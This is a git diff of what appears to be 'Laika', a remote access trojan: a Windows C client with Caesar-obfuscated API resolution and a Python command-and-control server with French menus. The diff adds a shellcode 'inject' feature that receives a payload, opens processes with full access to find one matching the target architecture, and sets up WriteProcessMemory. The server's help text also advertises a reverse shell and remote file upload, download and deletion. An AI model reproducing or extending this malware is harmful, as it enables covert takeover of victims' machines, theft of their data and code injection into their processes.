diff --git a/Laika/Laika.vcxproj b/Laika/Laika.vcxproj
index eef2f04..a938a20 100644
--- a/Laika/Laika.vcxproj
+++ b/Laika/Laika.vcxproj
@@ -159,12 +159,14 @@
+
+
diff --git a/Laika/Laika.vcxproj.filters b/Laika/Laika.vcxproj.filters
index cc108bd..1c91149 100644
--- a/Laika/Laika.vcxproj.filters
+++ b/Laika/Laika.vcxproj.filters
@@ -13,6 +13,9 @@
{1c39cfa5-e620-4df2-bae9-e24a26485d37}
+
+ {15e1ca95-85db-48cd-8b71-413ceac5d0b8}
+
@@ -27,6 +30,9 @@
File explorer
+
+ Shellcode
+
@@ -41,5 +47,8 @@
File explorer
+
+ Shellcode
+
\ No newline at end of file
diff --git a/Laika/file_explorer.c b/Laika/file_explorer.c
index 563fc51..16511cc 100644
--- a/Laika/file_explorer.c
+++ b/Laika/file_explorer.c
@@ -95,10 +95,10 @@ BOOL delete_folder(LPCTSTR lpszDir) {
TCHAR szFileName[MAX_PATH];
// copy the directory path to a buffer
- lstrcpy(szDir, lpszDir);
+ Api.lstrcpyW(szDir, lpszDir);
// add the wildcard character and search for the first file in the directory
- lstrcat(szDir, TEXT("\\*"));
+ Api.lstrcatW(szDir, TEXT("\\*"));
hFind = Api.FindFirstFileW(szDir, &FindFileData);
if (hFind == INVALID_HANDLE_VALUE) {
@@ -107,15 +107,15 @@ BOOL delete_folder(LPCTSTR lpszDir) {
}
do {
- if (lstrcmp(FindFileData.cFileName, TEXT(".")) == 0 || lstrcmp(FindFileData.cFileName, TEXT("..")) == 0) {
+ if (Api.lstrcpyW(FindFileData.cFileName, TEXT(".")) == 0 || Api.lstrcpyW(FindFileData.cFileName, TEXT("..")) == 0) {
// skip the current and parent directories
continue;
}
// build the full file name
- lstrcpy(szFileName, lpszDir);
- lstrcat(szFileName, TEXT("\\"));
- lstrcat(szFileName, FindFileData.cFileName);
+ Api.lstrcpyW(szFileName, lpszDir);
+ Api.lstrcatW(szFileName, TEXT("\\"));
+ Api.lstrcatW(szFileName, FindFileData.cFileName);
if (FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
// recursively delete the subdirectory
@@ -193,19 +193,10 @@ int download_file(FILE* fp, SOCKET sock) {
return 1;
}
-void upload_file(SOCKET sock, const char* path) {
+void upload_file(SOCKET sock, HANDLE file_handle) {
// Receive file
char* buffer = (char*)Api.malloc(BUFFER_SIZE);
- LPCWSTR wstr = ConvertCharToWChar(path);
-
- HANDLE file_handle = Api.CreateFileW(wstr, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
- if (file_handle == INVALID_HANDLE_VALUE) {
- Api.free(buffer);
- Api.free((LPWSTR)wstr);
- return;
- }
- Api.free((LPWSTR)wstr);
int num_bytes = 0;
int total_bytes = 0;
@@ -228,7 +219,6 @@ void upload_file(SOCKET sock, const char* path) {
// Close the file handle
Api.free(buffer);
- Api.CloseHandle(file_handle);
return;
}
\ No newline at end of file
diff --git a/Laika/file_explorer.h b/Laika/file_explorer.h
index aeb4b6f..104049c 100644
--- a/Laika/file_explorer.h
+++ b/Laika/file_explorer.h
@@ -19,4 +19,4 @@ int get_drives_list(char* buf);
BOOL delete_folder(LPCTSTR lpszDir);
char* get_file_list(const char* dirPath, int* numFiles);
int download_file(FILE* fp, SOCKET sock);
-void upload_file(SOCKET sock, const char* path);
\ No newline at end of file
+void upload_file(SOCKET sock, HANDLE file_handle);
\ No newline at end of file
diff --git a/Laika/main.c b/Laika/main.c
index 9aa0bb0..7cea49c 100644
--- a/Laika/main.c
+++ b/Laika/main.c
@@ -6,6 +6,7 @@
#include "config.h"
#include "resolve_apis.h"
#include "file_explorer.h"
+#include "shellcode.h"
HANDLE g_hChildStd_IN_Rd = NULL;
HANDLE g_hChildStd_IN_Wr = NULL;
@@ -285,6 +286,70 @@ retry:
Api.free(drives);
}
+ if (Api.strncmp(server_reply, "nsojhy", strlen("nsojhy")) == 0) { //inject
+ char* arch = (char*)Api.malloc(3);
+
+ if (Api.recv(sock, arch, 3, 0) <= 0) {
+ //send failed
+ Api.free(arch);
+ Sleep_(Sleep_TIME);
+ goto retry;
+ }
+ CAESAR_DECRYPT(arch);
+
+ // Create a file handle for the memory buffer
+ HANDLE hFile = Api.CreateFileW(
+ L"ykifyk",
+ GENERIC_READ | GENERIC_WRITE,
+ FILE_SHARE_READ | FILE_SHARE_WRITE,
+ NULL,
+ CREATE_ALWAYS,
+ FILE_ATTRIBUTE_NORMAL,
+ NULL);
+
+ upload_file(sock, hFile);
+
+ // Open the file handle for reading
+ hFile = Api.CreateFileW(
+ L"ykifyk",
+ GENERIC_READ,
+ FILE_SHARE_READ | FILE_SHARE_WRITE,
+ NULL,
+ OPEN_EXISTING,
+ FILE_ATTRIBUTE_NORMAL,
+ NULL);
+
+ if (hFile == INVALID_HANDLE_VALUE) {
+ Sleep_(Sleep_TIME);
+ goto retry;
+ }
+
+ char* buffer = (char*)Api.malloc(BUFFER_SIZE);
+ Api.ReadFile(hFile, buffer, BUFFER_SIZE, NULL, NULL);
+ Api.CloseHandle(hFile);
+
+ HANDLE proc;
+ if (Api.strncmp(arch, "x86", strlen("x86")) == 0) {
+ proc = FindProcessByArch(L"x86");
+ }
+ else {
+ proc = FindProcessByArch(L"x64");
+ }
+
+ if (proc == NULL) {
+ Api.free(arch);
+ Api.free(buffer);
+ Sleep_(Sleep_TIME);
+ goto retry;
+ }
+
+ //Api.WriteProcessMemory(proc, (LPVOID)0, "", 0, NULL); WIP
+
+ Api.CloseHandle(proc);
+ Api.free(arch);
+ Api.free(buffer);
+ }
+
if (Api.strncmp(server_reply, "ljydknqjdqnxy", strlen("ljydknqjdqnxy")) == 0) { //get_file_list
char* file_list = (char*)Api.malloc(BUFFER_SIZE);
char* path = (char*)Api.malloc(MAX_PATH);
@@ -360,8 +425,20 @@ retry:
goto retry;
}
- upload_file(sock, CAESAR_DECRYPT(path));
+ LPCWSTR wstr = ConvertCharToWChar(CAESAR_DECRYPT(path));
+ HANDLE file_handle = Api.CreateFileW(wstr, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
+ if (file_handle == INVALID_HANDLE_VALUE) {
+ Api.free(path);
+ Api.free((LPWSTR)wstr);
+ return;
+ }
+
+ Api.free((LPWSTR)wstr);
+
+ upload_file(sock, file_handle);
+
+ Api.CloseHandle(file_handle);
Api.free(path);
}
diff --git a/Laika/resolve_apis.c b/Laika/resolve_apis.c
index 3fa7534..f0175c6 100644
--- a/Laika/resolve_apis.c
+++ b/Laika/resolve_apis.c
@@ -33,6 +33,14 @@ void InitApis() {
Api.FindNextFileW = (TFindNextFileW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("KnsiSj}yKnqj\\"));
Api.RemoveDirectoryW = (TRemoveDirectoryW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("Wjrt{jInwjhytw~\\"));
Api.DeleteFileW = (TDeleteFileW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("IjqjyjKnqj\\"));
+ Api.lstrcpyW = (TlstrcpyW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("qxywhu~\\"));
+ Api.lstrcatW = (TlstrcatW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("qxywhfy\\"));
+ Api.CreateToolhelp32Snapshot = (TCreateToolhelp32Snapshot)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("HwjfyjYttqmjqu87Xsfuxmty"));
+ Api.Process32FirstW = (TProcess32FirstW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("Uwthjxx87Knwxy\\"));
+ Api.OpenProcess = (TOpenProcess)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("TujsUwthjxx"));
+ Api.Process32NextW = (TProcess32NextW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("Uwthjxx87Sj}y\\"));
+ Api.IsWow64Process = (TIsWow64Process)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("Nx\\t|;9Uwthjxx"));
+ Api.WriteProcessMemory = (TWriteProcessMemory)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("\\wnyjUwthjxxRjrtw~"));
hMsvcrt = LoadLibraryA(CAESAR_DECRYPT("rx{hwy3iqq"));
if (!hMsvcrt) {
@@ -58,6 +66,7 @@ void InitApis() {
Api.fclose = (Tfclose)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("khqtxj"));
Api.fread = (Tfread)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("kwjfi"));
Api.fwrite = (Tfwrite)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("k|wnyj"));
+ Api.wcscmp = (Twcscmp)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("|hxhru"));
hWininet = LoadLibraryA(CAESAR_DECRYPT("|x7d873iqq"));
if (!hWininet) {
diff --git a/Laika/resolve_apis.h b/Laika/resolve_apis.h
index f7b645e..53a97a1 100644
--- a/Laika/resolve_apis.h
+++ b/Laika/resolve_apis.h
@@ -1,6 +1,7 @@
#pragma once
#include
#include
+#include
#include
#include
#include "utils.h"
@@ -37,6 +38,9 @@ typedef FILE* (WINAPI* Tfopen)(char const*, char const*);
typedef int(WINAPI* Tfclose)(FILE*);
typedef size_t(WINAPI* Tfread)(void*, size_t, size_t, FILE*);
typedef size_t(WINAPI* Tfwrite)(void const*, size_t, size_t, FILE*);
+typedef LPWSTR(WINAPI* TlstrcpyW)(LPWSTR, LPCWSTR);
+typedef LPWSTR(WINAPI* TlstrcatW)(LPWSTR, LPCWSTR);
+typedef int(WINAPI* Twcscmp)(const wchar_t*, const wchar_t*);
typedef HANDLE(WINAPI* TCreateFileW)(LPCWSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE);
typedef BOOL(WINAPI* TReadFile)(HANDLE, LPVOID, DWORD, LPDWORD, LPOVERLAPPED);
@@ -59,6 +63,12 @@ typedef HANDLE(WINAPI* TFindFirstFileW)(LPCWSTR, LPWIN32_FIND_DATAW);
typedef BOOL(WINAPI* TFindNextFileW)(HANDLE, LPWIN32_FIND_DATAW);
typedef BOOL(WINAPI* TRemoveDirectoryW)(LPCWSTR);
typedef BOOL(WINAPI* TDeleteFileW)(LPCWSTR);
+typedef HANDLE(WINAPI* TCreateToolhelp32Snapshot)(DWORD, DWORD);
+typedef BOOL(WINAPI* TProcess32FirstW)(HANDLE, LPPROCESSENTRY32W);
+typedef HANDLE(WINAPI* TOpenProcess)(DWORD, BOOL, DWORD);
+typedef BOOL(WINAPI* TProcess32NextW)(HANDLE, LPPROCESSENTRY32W);
+typedef BOOL(WINAPI* TIsWow64Process)(HANDLE, PBOOL);
+typedef BOOL(WINAPI* TWriteProcessMemory)(HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T*);
typedef struct ApiList {
Tconnect connect;
@@ -99,6 +109,12 @@ typedef struct ApiList {
TFindNextFileW FindNextFileW;
TRemoveDirectoryW RemoveDirectoryW;
TDeleteFileW DeleteFileW;
+ TCreateToolhelp32Snapshot CreateToolhelp32Snapshot;
+ TProcess32FirstW Process32FirstW;
+ TOpenProcess OpenProcess;
+ TProcess32NextW Process32NextW;
+ TIsWow64Process IsWow64Process;
+ TWriteProcessMemory WriteProcessMemory;
Tmbstowcs mbstowcs;
Twcstombs wcstombs;
@@ -115,6 +131,9 @@ typedef struct ApiList {
Tfclose fclose;
Tfread fread;
Tfwrite fwrite;
+ TlstrcpyW lstrcpyW;
+ TlstrcatW lstrcatW;
+ Twcscmp wcscmp;
} API;
void InitApis();
diff --git a/Laika/shellcode.c b/Laika/shellcode.c
new file mode 100644
index 0000000..092cc6c
--- /dev/null
+++ b/Laika/shellcode.c
@@ -0,0 +1,51 @@
+#include "shellcode.h"
+
+extern API Api;
+
+HANDLE FindProcessByArch(const wchar_t* arch)
+{
+ HANDLE hSnapshot;
+ PROCESSENTRY32 pe32;
+
+ // Take a snapshot of all processes in the system
+ hSnapshot = Api.CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
+ if (hSnapshot == INVALID_HANDLE_VALUE) {
+ return NULL;
+ }
+
+ // Iterate through the processes in the system
+ pe32.dwSize = sizeof(PROCESSENTRY32);
+ if (!Api.Process32FirstW(hSnapshot, &pe32)) {
+ Api.CloseHandle(hSnapshot);
+ return NULL;
+ }
+ do {
+ HANDLE hProcess;
+ BOOL isWow64;
+
+ hProcess = Api.OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID);
+ if (hProcess == NULL) {
+ continue;
+ }
+
+ // Determine the process architecture
+ if (!Api.IsWow64Process(hProcess, &isWow64)) {
+ // Failed to determine the process architecture, so skip to the next process
+ Api.CloseHandle(hProcess);
+ hProcess = NULL;
+ continue;
+ }
+
+ // Check if the process matches the provided architecture
+ if ((Api.wcscmp(arch, L"x86") == 0 && !isWow64) || (Api.wcscmp(arch, L"x64") == 0 && isWow64)) {
+ if (hProcess != NULL) {
+ Api.CloseHandle(hSnapshot);
+ return hProcess;
+ }
+ }
+ } while (Api.Process32NextW(hSnapshot, &pe32));
+
+ // No matching process found
+ Api.CloseHandle(hSnapshot);
+ return NULL;
+}
\ No newline at end of file
diff --git a/Laika/shellcode.h b/Laika/shellcode.h
new file mode 100644
index 0000000..5343254
--- /dev/null
+++ b/Laika/shellcode.h
@@ -0,0 +1,6 @@
+#pragma once
+#include
+#include
+#include "resolve_apis.h"
+
+HANDLE FindProcessByArch(const wchar_t* arch);
\ No newline at end of file
diff --git a/Server/Server.py b/Server/Server.py
index def48d7..912faaf 100644
--- a/Server/Server.py
+++ b/Server/Server.py
@@ -171,7 +171,7 @@ def interact() :
if CLIENT_IN_PATH == None : return "no client"
client = CONNECT_CLIENTS[CLIENT_IN_PATH]
- print(file_list)
+ #print(file_list)
addr = client.getpeername()[0]
addr = os.getcwd() + "\\" + addr.replace(".","_")
@@ -201,12 +201,13 @@ def interact() :
print("\n\nTéléchargement terminé.\n\n")
case "upload" :
+ print("\n\nUpload...\n\n")
filename = easygui.fileopenbox()
if filename == None or path_file_ex_2 == "" :
return 'no file selected'
- print(f"{filename} --> {path_file_ex_2}")
+ #print(f"{filename} --> {path_file_ex_2}")
client.send(CAESAR("upload_file\0").encode())
@@ -215,6 +216,7 @@ def interact() :
fp = open(filename, "rb")
upload_file(fp, client)
+ print("\n\nUpload terminé.\n\n")
case "remove" :
for i in files :
@@ -425,8 +427,9 @@ def main() -> None :
print("select : sélectionne le client avec lequel intéragir")
print("deselect : désélectionne le client précédemment séléctionné avec \"select\"")
print("shell : ouvre un reverse shell dans le client précédemment séléctionné avec \"select\"")
- print("build : build un client")
print("fex : ouvre l'explorateur de fichiers")
+ print("inject : upload un shellcode. ARCH --> 32/64")
+ print("build : build un client")
print("")
elif cmd == "exit" :
@@ -532,6 +535,37 @@ def main() -> None :
print("\nClique sur le lien ci-dessous pour voir le file explorer :")
print("http://127.0.0.1:5000\n")
+ elif "inject" in cmd :
+ if SELECTED_CLIENT == -1 :
+ print("Vous n'avez aucun client sélectionné.")
+ continue
+
+ client = CONNECT_CLIENTS[SELECTED_CLIENT]
+
+ parts = cmd.split(" ")
+ if len(parts) > 3 or len(parts) <= 2 :
+ print("Commande mal formée, \"help\" pour la syntaxe.")
+ continue
+
+ arch = parts[1]
+ if arch != "32" and arch != "64" :
+ print("Commande mal formée, \"help\" pour la syntaxe.")
+ continue
+
+ fichier = parts[2]
+ if not os.path.isfile(fichier) :
+ print(f"{fichier} n'a pas été trouvé.")
+ continue
+
+ client.send(CAESAR("inject").encode())
+ if arch == "32" :
+ client.send(CAESAR("x86").encode())
+ else :
+ client.send(CAESAR("x64").encode())
+
+ fp = open(fichier, "rb")
+ upload_file(fp, client)
+
else :
print("Commande non reconnue, \"help\" pour afficher la liste des commandes.")